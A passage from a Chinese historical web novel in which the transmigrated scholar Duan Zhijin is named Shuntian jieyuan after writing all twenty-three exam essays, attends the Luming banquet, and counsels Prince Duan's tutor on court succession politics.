连科奴也在屋子里,绕着段云霓转来转去,咪咪叫个不停,段之缙便撅了些鱼肉下来,细细挑了刺扔出去,猫儿就一个飞跃跑开,两三口吃了鱼肉又跑回来咪咪叫,直到许嬷嬷给它上了一碗鸡肉糜,这才安静下来。 吃完饭后,许嬷嬷示意两个小子抬上来一个小蒸笼,许是刚从锅上下来,还呼呼冒着热气,段之缙好奇道:“这是什么?” 谁知众人相视一笑,施姨娘催着他自己打开。 蒸笼掀开的刹那,白雾裹着米香味窜进段之缙鼻腔里,还带着甜滋滋的桂香。 雾气散去,一块儿白白润润的糕饼躺在蒸布上,漏出一层层的半透明的桂花酱。上边用红曲色印了一个“蟾宫折桂”出来,最顶上是三个小字……状元糕。 “你可得谢谢你妹妹,这是人家一早起来弄的,那印花纹的印模还在卧佛寺开了光,在文昌位前贡过。”语罢,王虞看看段云霓,示意她给哥哥介绍一番。 段云霓捏着帕子站起,落落大方道:“糕是用南边捎过来的水磨粉蒸的,多过了两边筛才能这样细。今岁新渍的丹桂,用井水湃过三遍才褪了涩气,混着松子碎和槐花蜜做的馅。” 周姨娘含笑看着女儿,催道:“还有呢,还有东西没说呢。” “统共九层糕坯夹八重馅料,喻着九转功成。调馅的时候添了些干桂花,带些苦味,这是‘十年寒窗’。”她说着,把最上边的一层糕掀起来,下边竟然是一副“魁星踢斗图”,虽不甚清晰,可上边的五个字却还清清楚楚,被半透明的桂花酱盖着。 一层层的,每一层都有吉祥文字,最妙是最底下一层竟是青绿色,用艾草汁儿和的面,取“青云直上”的好彩头。 王虞亲手给段之缙切了块糕下来,盯着他吃了,自得道:“怎么样?你妹妹不仅书读得好,手艺也不错吧?” 段之缙满口香甜,只能颔首。 “那吃了你妹妹的糕,我托付你的事儿如何了?”王虞意指段云霓的婚事,之前段之缙一直科考,她也不便打扰,现在考完了试总该问一问。 也不求他立刻指出什么人,但凡能说个想法就成。 段之缙却险些叫那一口糕噎住,看了看段云霓,周姨娘便先叮嘱婆子带着小姐下去,又期待地望向二爷。 段之缙用水顺下状元糕,苦笑道:“儿子成日里在国子监内读书,实在不认识什么人。且母亲的条件有些苛刻了。”到底是他的妹妹,婚姻大事,段之缙也很上心。 “母亲想要家境殷实些的读书人,还特意说了国子监内,应当是想着妹妹也做一个官夫人。只是国子监内同窗也无甚年龄相当的未婚青年,要不就是家境贫寒,要不就是早早成婚,要不是便是门第太高咱们高攀不起。” 王虞有些失望,段之缙又道:“不过儿子没那个门道,能不能拖秦先生或是旁人找一找?因为之前没跟母亲商量过,儿子也不能往外说。” “秦先生?”王虞想了想,先生是教书人,说不定就认识这样的士子呢?“可你说的旁人是谁?” “儿子认识一位在端王府中任职的笔帖式,名为邹文,虽说官职不显但到底比儿子强上不少,见多识广,若是母亲允许,咱们求他做个媒人。” 这倒是也行…… 王虞颔首应了,段之缙又道:“只是叫邹文说媒的话,怕是年轻的小官员会多些,又因为咱们家的情况,说不得会穷困些。” 王虞微讶:“这世上还有穷官呢?” 段之缙哂笑:“母亲说这话,京官年俸一百八十两,禄米一百八十斛,也就吃饭喝水罢了。咱们多贴补着叫他们把日子过好。” 周姨娘一下子惊慌起来,王虞也蹙眉,面上有些不情愿:“特意吩咐了要家境殷实些的,又给我弄这出……” “再高的门第咱们也攀不上,就算是母亲所言的殷实家庭也不过是小富,说到底还得咱们多补贴,要不然叫这个妹子嫁了人吃苦吗?母亲也说了,‘这世上还有穷官呢’,可若是邹文能给咱们说得一个穷官,这才是真正好人品的。有这样的操守,难道还会为难妹妹吗?” “自然还是要以母亲的意愿为准,先找母亲想要的,若是没有再谈其他。或者母亲舍得,便先等我考试,成了举人贡士再为妹妹相看,只是又不知是何时了。” 段之缙也愁,若是自己早早做个大官也就好了,或是家里能有个正常的父亲,也不至于如此。再不济,家里一文不值,倒也能舍得把妹妹嫁给穷苦读书人。 最恨是高不成低不就,小官家里有巨财,现在嫁给穷苦上进的,嫌人家穷,凭什么叫这娇生惯养的去陪人吃苦?可朱门望户人家也瞧不见你。 王虞叹一口气,把吃完饭围着桌子转的连科抱在怀里,“就先这么着吧……只是有什么人选你都得先和我说,可千万不许擅自做主。” 第55章 055五经解元 先说了妹妹之事,现在又轮到段之缙本人,王虞和施姨娘领着两个小夫妻往望月堂里走,段之缙这才知望月堂的花圃早就被改成了菜园子,院子里一盏灯都不点,黑黢黢的。 沈白蘋被指使着下去摘菜,段之缙想去替她都不成,定要沈白蘋自己去摘,又给了她一把银子,施姨娘嘱咐道:“摘一两个就行,摘完之后把银锞子压在叶子底下。” 沈白蘋不明所以,但还是摸着黑去田里摘菜,手在地上和菜架子上来回摸,终于抱回来一个南瓜和一小把扁豆。 王虞忙问:“是先摘的南瓜还是扁豆?” “先从地上摸了南瓜,又从架上摘了扁豆。” 施姨娘一下子笑没了眼,“这是先生男再生女,儿女双全的好兆头!” 把沈白蘋吓得松了手,南瓜将落又被许嬷嬷一把接住,扁豆却掉了一地,被段之缙捡起来。 王虞见差点将那南瓜跌了,嗔怪地瞪了儿媳妇一眼,“毛躁些什么?这是我们南边的风俗,中秋夜里要摸秋,摸到南瓜就要生男孩儿,摸到豆子就要生女孩儿。” 语罢转向段之缙道:“你也二十大几了,我连个孩子毛都没看见。现在乡试考了,子嗣的事情也得考虑一番啊!” 段之缙手足无措,眼神漂移不定,眼见王虞要恼,哄道:“母亲,您饶了我吧,我每日读书到近子时,早上卯正又要起,成日住在国子监中,一月又只放一日假,我去哪给你弄孩子来?要不我从大街上给你逮一个……” “胡说些什么!谁要你从街上逮的?”王虞嗔他一句,也明白其中的道理,哀叹一声:“读书读的,我连个孙子都没有了……我那些姐姐妹妹,四十来岁孙子满地跑,偏生我……” 话说到这,施姨娘虽也急着抱孙子,还是安慰道:“太太,现在还是读书要紧些,且国子监就三年,等着三年后出来了,大胖小子也有了,现在急着 催他们,也不能凭空给你弄出来孩子不是?” 说着,姨娘叫他们悄悄走,段之缙和沈白蘋就溜回了自己的致知斋,骇得一身冷汗。 第二日是八月十七,国子监正常上课,段之缙起的比往日更早,也不敢去主院给谁问安了,悄声回了国子监,还带了一大包五仁月饼,馅是烘香的南北果仁、芝麻、红枣和核桃仁,方叙墨也带了宫中赏赐的云腿月饼,说是南方贡上来的。 大家一味地说昨日放假的事情,没人开口提一句乡试考题,都既怕又盼地等着九月十五日放榜,方叙墨倒是心态好,对他来说,能参加乡试就是大成功。 谁知那边闱场阅卷的考官们却遇到了难题。 乡试分房阅卷,顺天府十八位同考官一人一间堂屋,先由同考官阅卷,择选优者推荐给两位主考官,称为荐卷。 一般来说,一位同考官只阅五经中一经的卷子,可今年却有一份朱卷不知往哪个房里送。 正堂内,正主考闻清远已经拿到了他应该拿的朱卷,一边翻看一边轻轻念叨着,“破题用‘也’,承题用‘夫’,起讲用‘意谓’,大结用‘抑’。破题用‘焉’,起讲用‘若曰’,大结用‘大抵’……” 对了!严丝合缝,这应当就是小葛的卷子…… 闻清远脸上含着一丝微笑,外边的门被敲响,是内场提调官的声音:“大人,这有一份卷子,下官等不知往何处去送。” 闻清远身边的仆从从里边拉开门,提调官亲手把卷子送至案头,主考官第一眼见的,是那个赤红色的“官”字。 官卷…… 没由来的,闻清远有了一丝不祥的预感,他看了看头两张卷纸,除了字小些,书写倒很工整,破题紧合朱子,文风极正,但辞藻不甚瑰丽,还差点意思。 “这不是写的《诗》题吗?送到王路那儿去。” 提调官脸上说不出的神情,哭丧道:“大人,您往后看,他可不止写了《诗》题,他是二十三问都写了!” “什么!”震惊之下袖子碰到了茶碗,只听得一声脆响,上好的粉彩摔了个四分五裂,闻清远顿感大大的不妙。 若是一般违规也就罢了,这写了二十三篇时文,到底算不算是科场违规也说不清,毕竟科场只规定了士子各认一经,却没说不能写五经。 这事儿自己做不了主,闻清远转头跟仆从吩咐:“去,将史大人和十八位同考官都叫到这来。” 考官们汇于一所,那一份朱卷被轮流传阅,闻清远终于开了口:“事儿就是这么个事儿,此卷算不算是违规,如何上奏,大家伙商量商量吧。” 他虽受了葛礼的托付,但这次的事情可谓开国以来第一例,自己决不能自作主张,更何况堂弟又不是儿子,倒也不必冒这么大的险。再者出了这样的事情,葛礼怨天怨地也怨不到自己头上。 那有儿子的史鉴倒是想把这份卷子打成违规,但事关重大在场没人敢妄下决断,他扫视众人,对闻清远笑道:“虽说这事儿定然是要上奏,最后由圣上决断。但我个人却觉得这是违规,若以数量取胜岂非开不端之风?倒不如我们联名上奏,附上大家伙的意见如何?” 闻清远闻弦歌而知雅意,附和一声:“本官赞成史大人的话,只是阅卷事大,不如先将其他卷子阅完,再联名上折子如何?这样对朝廷、对圣上都有交代。” 同考官们嗫嚅半晌,也不愿意搅和在这一场事儿里,还是随大流安全些,于是纷纷点头,等着阅完卷后联名具折,讲明事情后严斥此为投机取巧。 …… “……务多求进,全失制艺本旨。开钻营取巧之风,坏士林淳厚之体。文贵精纯,岂以多为胜?今若纵此浇竞,恐天下人群效诡术,弃根本而逐枝叶,圣贤之道渐湮,科举之公尽丧。” 乾清宫内,鎏金狻猊炉口吐出四合香浓浓的雾,一缕缕漫过蟠龙柱,沉、檀、乳、麝的芬芳中夹杂着一丝清苦,是掩盖不住的萦来绕去的药气。 皇帝年纪渐大,近些日子天热多用了些冰就患了伤寒,看那些弯弯绕绕的字竟然头昏眼花,只能叫太监吴祥念折子听。 最后一个字音消逝,崇德皇帝猛咳了两声,浑浊的眸子扫过跪在下边的端王、闻清远和史鉴几人,最后凝在纪禅的黑色常服上,苍老疲倦的声音模模糊糊地流出来。 “你也当了这次顺天府乡试的差,你觉得应该怎么办?” 端王手里还捧着朱卷,从后往前读了几篇时文,笑道:“儿臣倒觉得是两位大人小题大做了。此生虽有违程式,然心志可嘉,才学尤显,五经皆通极为难得,若此都要说成‘浇竞之风’,那岂不是说勤学刻苦为‘浇竞’?太过匪夷所思。” “再者能一日之内书两万余字,岂是庸才可为?科举抡才大典,撰文多不应当是黜落士子的理由。更难得这是官卷,官宦子弟能这般励志向上,也够罕见的。” “哦?官卷?”崇德帝倒有了几分兴致,史鉴眼睛狠狠闭上,心里暗骂:“就知道有这一出,现下如何是好?” 皇帝欣慰问道:“那倒真是了不得!他是谁的儿子?” 闻清远道:“是前吏部郎中段成平的儿子段之缙。” 端王惊讶,原来是这个小子,真真是有造化了。 可皇帝哪还能记着段成平这号人?端王补充道:“这是崇德十七年在赴任路上死难的山东玉平知府,原先是吏部员外郎。” 他这么一提醒,皇帝便记起来了,可惜道:“这一个两个的,都是水土不服,去山东那个死了,杨度也是上吐下泻又被调回了山东,身子太弱……那这么说,他父亲还对朝廷有功了?” “正是。” 崇德帝大喜:“那应该大大的褒奖啊!亚椿刚看了那些文章,四书五经可通?” 亚椿是端王的乳名,《逍遥游》里说,上古有大椿者,以八千岁为春,八千岁为秋,最是长寿,亚椿虽说为“不及椿树”,取得却是反义,算是文雅点的“狗剩”。 端王答道:“昌明博大有流转之致,虽不见如何精深,但破题极正派,的确是好好读过书的。不过这也是儿臣一人之见,到底如何还要请父皇裁决。” 语罢将朱卷递给吴祥,吴祥将朱卷呈上,皇帝摆摆手示意吴祥为他读。 听完一章,皇帝问道:“闻清远和史鉴觉得如何?” 闻清远是老油条了,听皇帝声音无一丝不耐又和顺慈爱便知是满意,正准备放弃给葛观澜说好话的时候,史鉴却憋不住了。 他到底是个翰林院没行过政的“尊贵人”,连圣上的脸色也不会看,梗着脖子说:“臣以为这些文字都难称得上是精妙。” 皇帝一愣,笑着看了一眼端王,而赞了这些文章昌明博大的端王眼里含着讥诮,倒要看看史鉴能说出什么高深之见。 “臣以为时文首要看是否集才情藻绘于一身,段之缙之文辞藻过于简明,到看不出什么精妙了。” 皇帝倚着吴祥的手喝了一口参汤,示意闻清远说话。 闻清远现在是死道友不死贫道,彻底抛了葛家的事情,正色道:“方才是臣等狭隘了,只忧虑会开钻营取巧之风,而没有考虑到五经皆通的难度。其文入理虽不如其他士子的精深,也可称为‘浩然一气’,极为流畅。更为难得的是一日之内书二十三篇时文,两万余字,便是点解元也是可的。” 史鉴 眼神一偏,用看叛徒一般的眼神看着闻清远,刚抬了下头便撞上端王深不可测的眼睛,倏忽间反应了过来,一时半会儿竟不知如何补救,胆战心惊地垂下脑袋。 皇帝视力虽模糊了,心思还灵明着,越是年纪大了越是老狐狸一样,下边的机锋一清二楚。 只是朝廷和家族是一样的,所谓“不痴不聋不做家翁”便是如此,轻不可闻地嗤笑一声,权当不知道。 刚才的参汤叫他提起了些劲儿,颇有些神采奕奕地问道:“既然段之缙可以点解元,其余的还有谁?” 闻清远是主考官,原本拟定的前十名聊熟于心,当即回道:“原本想要给葛观澜点解元……” “葛观澜是葛礼的儿子?” “正是。” “哦……”皇帝沉吟一番,“官卷点了一个解元,其余的官卷就不要再进前十名了。除段之缙之外的前五名要习不同的经书,葛观澜调到第十一名去,官卷一共取五名即可,名次不要太高,但是国子监中的民卷若还有不错的,倒是可以往前调一调。” 轻飘飘地几句话就定了人家十年寒窗的成果。 闻清远称是,皇帝又看了看端王,“今年点了你做乡试的搜检王大臣,后日的鹿鸣宴你也去吧,跟士子们说说话……”正嘱咐着呢,吴祥禀报道:“皇上,方中堂求见。”皇帝招他进来,原来是工部修永定河大堤的事情。 科举的事情就先放到一边去,皇帝和方克城商量了一番最终定下,又突然想起来方家的嫡长孙也在国子监中,于是问:“你孙子今年乡试了吗?” 方克城:“回皇上的话,那小子的确是今年应试,只是天资驽钝,文章粗陋,臣也不抱希望。倒是能得圣上一问,臣阖府沐浴皇恩,也是方叙墨的造化。” 皇帝看看闻清远,得知确实没有中举,几口将参汤喝下,腮上浮了一层红,无所谓地摆摆手,“他是有福气的孩子,没那个天分那就不用考科举了……叫他直接去户部做个员外郎如何?给郡主做丈夫官职不能太低,叫灵寿没面子。” 户部的官职都是肥差,员外郎没点关系轻易当不得,倒是一个极好的去处。 可方克城却推辞起来,“辜负了皇上的厚爱,他哪有这么大的造化?算数都算不对,去了户部也是丢人现眼。再者……” 他看一眼端王,“郡主殿下灵秀慧敏,能迎郡主进门是他几世修来的福气,他自己怕配不上郡主,发誓要在国子监中攻书,若陛下叫他去了户部,回家还不知要如何哭呢。” 皇帝哈哈大笑,“好吧好吧,他们小儿女的婚事要紧。那就先读书,等着郡主过门,你想叫他去哪里做员外郎就去哪里。” 话题转回了国子监,皇帝道:“闻清远去跟国子监祭酒说说,此次乡试后,若是有率性堂的出的举人想要为官,廷试后便按规矩授官吧,空出来的学额就叫那个段之缙填进入。” 说完,皇帝也乏了,挥手叫他们散去。 …… 晚上,方家的书房里方克城正练大字,方觉毛毛躁躁地跑了进来,一脸惋惜,带着些不解开了口:“父亲,我听闻清远说陛下要任阿留做户部员外郎,您怎么给推辞了啊!这是多好的前程,您这……唉!” 方克城不动如山,肆意挥洒,还叫儿子评判了一番自己写的“时运”二字,最后笔尖点在儿子的鼻头,留下一个可笑的墨迹。 “你啊你,脑仁跟鸡那么大。户部就是一个粪坑,谁掉下去谁沾一身屎!葛礼当的差,现在户部的账簿子敢不敢拿出来给大家瞧一瞧?早晚就跟那炮仗一样,嘭的炸开,你到舍得把儿子扔里边去。” 方觉犹疑:“哪就有您说的那么严重?” 方克城冷笑:“要是不严重,杨度跑什么?” “杨度不是水土不服吗?” “水土不服……好生生来了,过了一个月才水土不服?水土不服倒是能走动,吏部叫他回山东的调令一下来,第二天就窜没了影。” 方克城坐回太师椅,“人这一辈子,说到底就是‘时运’两个字。所谓‘时来天地皆同力,运去英雄不自由’啊!你运作再好,比不上运气好。葛礼什么出身,他爹不过是内务府的小官,就有福气做皇帝的奶公。现在葛礼在朝廷里上蹿下跳,比咱们方家都威风,也不过是仗着自己是皇帝的奶兄弟。” 昏黄的灯下,方克城的神情分辨不清,他喃喃道:“眼瞧着皇帝身子一日差过一日,今天用了参汤两腮一团酡红,恐怕是虚不受补,葛家的时运也要过了……葛家的时运一过,那就是整个户部被拉下水,没一个身上不沾屎的。” 方觉默默无语,觉得阿留在国子监读书也无甚不好的。 …… 眼睁睁地看着九月十五来了,国子监的先生们就跟没事儿人一样照常祭孔、大讲,一丝口风也不透露,比千年老王八还能忍。 可去考了乡试的监生却忍不得了,神游宇宙的神游宇宙,吓得跑茅房的跑茅房,下午博士厅大课,祭酒特意吩咐了要提前两刻钟收卷纸。 今天和往常一样,四书文一,试帖诗一,不寻常的是收卷后,祭酒点了三十来个人出去,上三堂皆有。 大家挤在裴鸿大人的堂屋内,大人满意地看着诸生,欣慰道:“人才辈出啊,你们这次乡试都得中了。”大家尚未来得及做出反应,裴鸿道:“段之缙在何处,上前来。” 段之缙立刻上前,裴鸿拍拍他的肩膀,振奋道:“这就是今年顺天府的解元!一日书二十三篇时文,连圣上都惊动了,特地点的五经解元!我常跟你们说,厚积薄发,多学多看,怎么人家就能通五经,你们只通得一经?” 裴鸿语重心长,段之缙无所畏惧地迎上同窗们震惊的目光,并无半分羞怯。 只能说大家努力的方向不一样,段之缙也是日夜不停练速度写时文出来的成果。 当然了,他也没有忽略葛观澜的目光,先是震惊,然后冷森森的,像是要活吞了他。 祭酒大人终于训完话,最后嘱咐一番,“明日府署鹿鸣宴,若没有蓝襕,穿国子监服也可,只是千万注意,明日宴会上,最中央坐着的不是主考官闻清远,而是端王殿下,你们看形制即可分辨,切记切记!” 吩咐完,外边钟响下课,正好也是放假的时间了,裴鸿便叫众人散去。 回去的路上,身边除了郑崑瑛、徐明宣一块儿聊天,也有不认识的同窗上前请教如何一日书时文二十三篇,段之缙和盘托出,当场认作朋友。 回了诚心堂,段之缙把乡试的结果说了,他的两个好伙伴也是欢欣雀跃,方叙墨问道:“你怎么能想到写二十三篇时文出来?” 段之缙挠挠头,难道要说自己开天眼了吗?最后讪笑一声道:“我以为五经题都要写,当时还吓了一跳,原来只写一经啊……” 施秉文笑道:“原来你也有这么糊涂的时候,幸好因祸得福!” 本来应当同窗先庆祝一番,只是中举的两个人还要准备鹿鸣宴,便先放他们回家,等着十七日回国子监,方叙墨要在膳堂后厨拿起他久不碰的锅碗瓢盆,大展身手。 第56章 056泰立,则承乾与治皆不全;治立…… 呦呦鹿鸣,食野之苹,我有嘉宾,鼓瑟吹笙。 九月十六日清晨,府署门口的古树上,叶尖坠着晶莹的晨露,啪嗒一声掉在段之缙的四方巾上,瞬间被黑纱吞噬。 他身着圆领大袖青衣襕衫,绸缎上无一丝的纹饰,唯有下摆接一深色横襕,喻为“学子清正”。 新科举人按照名次列队等候在府署大门前,府署内,端王正领着此场科举的考官、监试官等行谢恩礼。 端王纪禅立于阶上,赤色衮龙袍上五爪正龙无声怒啸, 身后跟着闻清远、史鉴等科场官员按照原职品级列队而站。 “望阙谢恩——” 赞礼官一声长喝,钟声撞散寂静的空气,纪禅领众人面朝皇宫方向行二跪六叩之礼,随赞礼官的指示起身,示意乐府奏乐。 “大哉孔圣,道德尊崇。维持王化,斯民是宗……” 清雅的的声音从府署流淌出来,青铜编钟与碧玉磬次第震响,声浪如同潮水漫过高挂着的“顺天府”匾额,赞礼官走出,引领以段之缙为首的新科举人迈过高高的门槛,走入那黄色大门。 堂内,端王居正中,正副主考官分坐两侧,接受士子们的礼拜,举人按照名次顺序坐到席位上,笙箫骤转,歌《鹿鸣》之章,做魁星舞。 起先众人还有些拘谨,杯中杜康美酒不敢用,盘中龙肝凤髓不敢食,木头一般坐在席位上。 最前边闻清远居右,凑在端王耳边说话,史鉴居左,离着端王远远的,因为前几天刚得罪了人家,现在还未想出如何补救。 闻清远说了些科场的笑话,又提醒道:“按照惯例,前十名都要跟主考们敬酒,但今日殿下在此,这杯酒能由殿下受,也是他们的造化。” 端王一向是六部当差,今年头一次领科举的差事,也是头一次听说这样的规矩,谦让道:“还是敬二位大人吧,本王只不过当一个搜检的差事,如何能替两位阅卷大人受酒?” 史鉴这次长眼色了,跟着劝道:“闻大人和下官虽为主考,但场内王爷为尊,尊卑之礼不能乱,若王爷不受酒,我们二人如何敢受酒?” 端王拇指上的碧玉扳指扣在天青色小酒圆上,眸子一斜挑了史鉴一眼,把他看得冷汗直下,这才道:“好吧,那就叫他们先敬本王,再敬二位如何?”回身吩咐邹文叫段之缙过来。 两人当即应下,邹文下去叫段之缙。 王爷身边跟着的属官下来,真当跟仙女下凡一般,将在座士子们的心都牵走了,他停在段之缙身前,咳一声:“允升,跟我来吧,上去给王爷和大人们敬酒。” 段之缙跟在他身后,就两步的路,邹文都叮嘱了一句:“上去敬酒别干巴巴的,卖弄卖弄你的学识,说些吉利话。” 段之缙走至端王案前,袍子一提端端正正行叩拜礼,“学生戊子科顺天府乡试解元段之缙见过王爷千岁。” 行礼毕,邹文将杯盏送上,段之缙又道:“学生天资驽钝,得沐天恩点为解元,此杯敬献王爷,惟愿王爷福寿如山海永固,我朝风调雨顺,万姓胪欢。”语罢一盏酒饮进,小杯盏送回邹文手中。 王爷喝不喝自然全凭他自己的意思,纪禅颔首便有府署的仆役上来斟酒,又被邹文拦住,“我来就好。”仆役讪讪退下。 酒壶在桌上放了一会儿,邹文用两条素帕裹住手,这才扶着玉壶往小酒圆中倒酒,看得段之缙目瞪口呆。 也不能倒多,那一两的小酒圆只倒了半杯,端王拿住酒圆上部一饮而尽,笑道:“本王同愿。” 先敬王爷,再敬主考,段之缙急急饮了三杯酒,难免感到眩晕,邹文送他回席位后又将亚元领上去敬酒,端王却不再喝了。 等着前十名都敬完酒,王爷说了些激励的客套话,又让大家随意走动,气氛才活跃起来,士子们三五成伴,或讨论诗书,或品鉴佳肴,倒是十分放松。 段之缙跑去和郑崑瑛、徐明宣坐在一处,偷偷吐槽这饭食都冷了,说有一道菜勾芡太厚,像是铺了一层鼻涕,郑崑瑛嗔他恶心人,许是声量大了些引起王爷的注意,竟被邹文叫走了。和前十名一样敬酒。 不过待遇倒是比前十名好,王爷和郑崑瑛说了好长时间的话,竟还受了他半杯酒。 直到郑崑瑛回来,徐明宣问:“郑兄方才和王爷说了什么?” 郑崑瑛把自己面前的菜推到段之缙跟前,回道:“说了些祝酒词,王爷问了些诗书,又聊了一些禅宗,还说我的名字有意思,为何不用‘崐’,偏要用‘崑’。” “崑”与“崐”实为一字,并无分别,只是写法不一罢了。 段之缙觉得有趣,催问:“那你答了什么?” “我说家父取《晋书郤诜传》中‘崑山之片玉’一语,书中写作‘崑’就用了‘崑’字。” 徐明宣称妙:“‘瑛’为玉之光华,正合崑山片玉之意,贤才难得,和这鹿鸣宴也相得益彰。” 段之缙又接着问:“然后呢?王爷可说了什么?” 郑崑瑛摇摇头:“王爷问了我的八字,就没再说什么了。” …… 笙箫之音不绝于耳,端王时不时叫几个人上去问话,不一会儿便过了晌午,连跳魁星舞的乐生都觉四肢沉重,宴会也到时间,端王先行,官员们紧随其后,士子们最后走出,眼看着亲王的车驾没了踪影。 段之缙、郑崑瑛和徐明宣在街巷里讲笑话,乘着酒意乐得东倒西歪,巷口一声悦耳的口哨声传来,早该离去的邹文竟然堵在巷口,光听声音就好像看见了他那张永远笑眯眯的脸。 “解元,郑崑瑛,我们王爷有请,赏个脸吧?” 没正形的三人吓得原地立正,邹文走进巷子看看徐明宣,开起了玩笑:“小公爷一起?正好让王爷也考教你一番。” 端王之严苛,在朝中也算是赫赫有名了,徐明宣如芒刺背,同情的眼神在他俩身上扫,一口回绝:“家父叫学生散宴后赶紧回家,学生也不敢打扰王爷。” 说完脚底抹油往巷口跑,正好撞上王爷的车驾。 他现在也不敢跑了,老老实实上前问安,端王客气了两句,也就放他走,段之缙和郑崑瑛上前行礼,隔着锦缎帘子,端王叫起,两个人跟在马车旁走去王府。 …… 青石道尽头的五间三启朱漆大门缓缓洞开,金钉在秋阳下泛着暖光。“端王府”牌匾冷森森的,居高临下地看着走入王府大门的两人,叫人脊背发凉。 刚进大门,十几个面白无须的侍从就围了上来,以一个圆胖的老伯为首,簇拥着王爷往西南院中走。 段之缙还记得他,纪禅最得用的太监吕太清,几年不见竟然也见老了。 王爷回头叮嘱一句:“邹文,带着段之缙去秦行那里玩,郑崑瑛去书房等着本王。” 侍卫带着郑崑瑛往书房走,段之缙担忧地看了一眼,拉住走在前边的邹文问道:“含章哥,王爷不是要考教我们吗?” 邹文瞥他一眼:“王爷是那么扫兴的人吗?鹿鸣宴都结束了考教你们作甚?只是当着小公爷的面,不好意思说是叫你们过来玩的。” “那我们就这么被扔了?” “什么叫扔了?王爷要去沐浴,他最烦身上有‘人味儿’,回府后定然要洗去才行。” 段之缙咂舌,真是讲究人,今天宴上也是,玉泉酒凉着喝口感好,邹文就得用帕子包住手倒酒,不能把手温传到酒壶上。还只能倒半杯,王爷的指腹不能捏在盛酒的地方。 “喏,前边流杯亭,秦先生很快就来,等会儿王爷和郑崑瑛说完了话也过来。” 邹文说完就走,段之缙一人呆在流杯亭里,有小太监上来添茶。 也不知是水还是茶叶的缘故,茶水格外清甜。 “可喜可贺啊!”不见其人先见其声,段之缙一回头果然是秦先生。 先生亲手为段之缙续了茶,“你怎么能想到写二十三篇时文的?” 真正的原因段之缙也没法说,只能拱手回道:“学生自知水平有限,便想着通过这次乡试长长见识,熟悉一番乡试的题目,不能叫考官们的一番苦思浪费了 ,干脆把二十三篇时文全写出来。谁知竟然有这样的福气,也是意料之外。” “可见天道酬勤,你可知你给自己谋了一个什么出路?” 段之缙摇头,先生摸摸他的脑袋:“端王说十月份会廷试一场,率性堂可能会出去一些人做官,你已经被内定了升堂,能得到更好的指点以备明年的会试。若你想授官,可以去地方从主簿做起,只是想要回京可就难了。当然,我想你母亲也愿意为你捐一个官出来。你自己的打算呢?” 段之缙抿唇,明代有“非翰林不入内阁”的规矩,清代也只有翰林出身的汉人才做殿阁大学士,此间亦是如此。而捐官非正途,不仅不能入阁,还会受到歧视。 “学生的打算还是先科举,若屡试不中再说其他吧。” 秦先生大喜,“有志气,只要你愿意走这条路,先生自然也会帮你。” 段之缙谢过先生,犹豫片刻实在关心端王的事情,凑在他的耳边问:“端王在朝中可还顺心?” “如何不顺心?刑部井井有条,皇上打算着叫他再领一部呢。” 因为常跟秦先生交流,段之缙对朝中的局势也不是两眼一抹黑,当初的逆书案叫王爷躲了过去,又有秦先生帮着处理刑部的事情,可以说是风生水起,是皇帝第一等得力的儿子,十分倚重。 可却不是皇帝最喜爱的儿子,更不是如今的长子。 太子亡后,元后和继后都没有嫡子,二皇子誉王为长,六皇子肃王最得宠爱。按照礼法,誉王该立为太子,但说不定会有以爱立嫡的可能。 即便是中宫抚养,非嫡非爱,到底是端王不占优势。 按照原书的剧情,肃王因为入朝晚,一时半会儿还参加不了兄长们的斗争,誉王和端王几日一闹不分胜负,端王再占理,皇帝也觉得烦。 这样下去不是办法,原书中端王能够胜利和京畿军营的兵力脱不开关系,但是此招太险,而且登基之后受到种种非议,惹得新皇直接大开杀戒,其中有不少是中介耿直的臣子,因为不愿意跟随这弑父杀兄的新君被屠戮。 若是能被立为太子,则事情大为不同,自己穿越一番也算有些用处。 段之缙暗下决心,环顾四周,太监们俱远远站着,于是轻声为难道:“先生,我也不知我说的对不对,若是不对你就当我没说,若是对,就当做您的想法告诉端王吧。” “你要说什么?” 段之缙道:“《资治通鉴》里说,唐太宗认为‘泰立,则承乾与治皆不全;治立,则承乾与泰皆无恙矣’,这才立高宗为太子。” 秦行拿水的手顿住,“端王可没有非分之想。” “先生,如今的局势和端王有没有非分之想无关。倘若不是端王登基,他日后要如何自处?” 段之缙分析道:“誉王与端王情如冰炭,势若敌国,若誉王登基则端王为俎上鱼肉任人宰割。若是肃王登基,端王以兄侍弟,情何以堪?再者,若是没这个想法,端王又何必要同誉王争来斗去?” 呷一口茶,秦行平静一番,叹气道:“我是真不想把你牵扯到这里边,可你怎么自己往里跳?” 因为段之缙有剧透。 他握住秦先生的手,“因为先生跟定了王爷,学生便知端王是良主,日后定能主宰天下。先生且听我说,诸皇子虽争斗不休,可到底是陛下的儿子,陛下年纪又大了,心肠也软了,近些年都开始怀念太子,定然想要一个能干懂事的儿子。” “与其自己蹚浑水,不如挑唆着别人去斗,渔翁得利。” 秦先生笑他年轻:“礼王一心做学问,齐王整日招猫逗狗,和王成事不足败事有余,十一皇子因其母妃的事情连王位也轮不到,其他的皇子小的小不受宠的不受宠,还有入朝晚的肃王,现在礼部的事情还没弄清楚,除了端王谁还能和誉王较量?” 段之缙沉声道:“肃王!他心思大着呢……若是端王敢,大可将一部分势力让渡给肃王,叫肃王和誉王争斗起来,叫这一长一爱水火不容,他做孝子顺子……” 话尚未说完,秦先生示意他噤声,原来是邹文唤他们去书房。 第57章 057清弓射箭 书房里香气弥漫,吕太清举着袍子罩在熏笼上,宫中赐下的宣和御香带着龙脑清凉微甜的气味往衣服上蔓延。 纪禅坐在案后,夹杂着几丝白的头发被太监王贺拢在怀里擦干,案前是一个月白色袍子的青年,乖乖巧巧地练大字,时不时舀一口玉盏中的玫瑰酥山。 端王的儿子竟也这么大了。 郑崑瑛坐在小凳子上,端王有一下没一下地在纸上写的东西,然后拿下来给他看。瞧见秦行来了,就叫吕太清搬椅子赐座,又叫段之缙坐在他先生身边。 那两个人在上边轻声说着话,段之缙听了半天才明白他俩在算命,郑崑瑛命中土重压财,名字里带金带水才好。 “若是你父亲还在,很应当叫他给你改个名字。只是可怜你早早没了父亲,这个名字就成了挂念,不方便改动。” 郑崑瑛叩首,纪禅又招段之缙上前,说道:“拜师能拜到秦行名下,乡试也能出其不意点解元,你的福气还在后头呢。父皇说做事情要做圆满,不能说这一次考中了,下一场名落孙山,叫你的五经解元名不副实,又堕了朝廷的威望。” “你进率性堂内,博士薛永旺会指点你的功课,望你一心向学,不要白费皇上的苦心。” 段之缙欣喜应下,王爷该说的也都说完,又看看郑崑瑛道:“你对事情的见解,真不像个只读书的士子,之前可还做过什么?” 郑崑瑛回:“学生在家乡时,做过淮宁德平府安平知县的师爷。” 